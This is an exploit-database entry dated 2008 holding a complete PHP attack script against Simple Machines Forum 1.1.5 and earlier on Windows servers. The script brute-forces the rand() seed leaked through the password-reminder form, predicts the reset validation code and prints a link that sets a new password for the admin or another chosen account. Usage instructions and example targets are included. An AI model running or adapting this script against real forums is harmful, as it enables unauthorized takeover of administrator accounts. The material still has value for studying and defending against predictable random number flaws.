Simple Machines Forum <= 1.1.5 Admin Reset Password Exploit (win32)

2008-09-10T00:00:00
ID SSV:9432
Type seebug
Reporter Root
Modified 2008-09-10T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <?php
echo "---------------------------------------------------------------\n";
echo "SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n";
echo "(c)oded by Raz0r (http://Raz0r.name/)\n";
echo "---------------------------------------------------------------\n";

if ($argc<3) {
   echo "USAGE:\n";
   echo "~~~~~~\n";
   echo "php {$argv[0]} [host] [path] OPTIONS\n\n";
   echo "[host] - target server where SMF is installed\n";
   echo "[path] - path to SMF\n\n";
   echo "OPTIONS:\n";
   echo "--userid=[value] (default: 1)\n";
   echo "--username=[value] (default: admin)\n";
   echo "examples:\n";
   echo "php {$argv[0]} site.com /forum/\n";
   echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n";
   die;
}

/**
* Software site: http://www.simplemachines.org
*
* SMF leaks current state of random number generator through hidden input parameter `sc`
* of the password reminder form:
*
* $_SESSION['rand_code'] = md5(session_id() . rand());
* $sc = $_SESSION['rand_code'];
*
* Since max random number generated with rand() on win32 is 32767 and session id
* is known an attacker can reverse the md5 hash and get the random number value.
* On win32 every random number generated with rand() is used as a seed for the next
* random number. So if SMF is installed on win32 platform an attacker can predict
* all the next random numbers. When password reset is requested SMF uses rand()
* function to generate validation code:
*
* $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
*
* So prediction of the validation code is possible and an atacker can set his
* own password for any user.
*
* More information about random number prediction:
* http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
*
* More information about the behaviour of rand() on win32 (in Russian):
* http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/
*/

set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);

$host = $argv[1];
$path = $argv[2];

for($i=3;$i<=$argc;$i++){
   if(isset($argv[$i]) && strpos($argv[$i],"--userid=")!==false) {
       list(,$userid) = explode("=",$argv[$i]);
   }
   if (isset($argv[$i]) && strpos($argv[$i],"--username=")!==false) {
       list(,$username) = explode("=",$argv[$i]);
   }
}

if(!isset($userid))$userid="1";
if(!isset($username))$username="admin";

$sess = md5(mt_rand());
echo "[~] Connecting to $host ... ";
$ock = fsockopen($host,80);
if($ock) echo "OK\n"; else die("failed\n");

$packet = "GET {$path}index.php?action=reminder HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Keep-Alive: 300\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";

fputs($ock, $packet);

while(!feof($ock)) {
   $resp = fgets($ock);
   preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out);
   if(isset($out[1])) {
       $md5 = $out[1];
       break;
   }
}

if($md5) {
   $seed = getseed($md5);
   if($seed) {
       echo "[+] Seed for next random number is $seed\n";
   } else die("[-] Can't calculate seed\n");
}
else die("[-] Random number hash not found\n");

function getseed($md5) {
   global $sess;
   for($i=0;$i<=32767;$i++){
       if($md5 == md5($sess . $i)) {
           return $i;
       }
   }
}

$sc = md5($sess . $seed);
$data   = "user=".urlencode($username)."&sc=$sc";
$packet = "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Connection: close\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n\r\n";
$packet.= $data;

fputs($ock, $packet);

$resp='';
while(!feof($ock)) {
   $resp .= fgets($ock);
}

if(preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) {
   die("[-] An error ocurred while requesting validation code\n");
}

if(strpos($resp,"javascript:history.go(-1)")!==false) {
   die("[-] Invalid username\n");
}

srand($seed);
for($i=0;$i<6;$i++){
   rand();
}
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
echo "[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n";
?>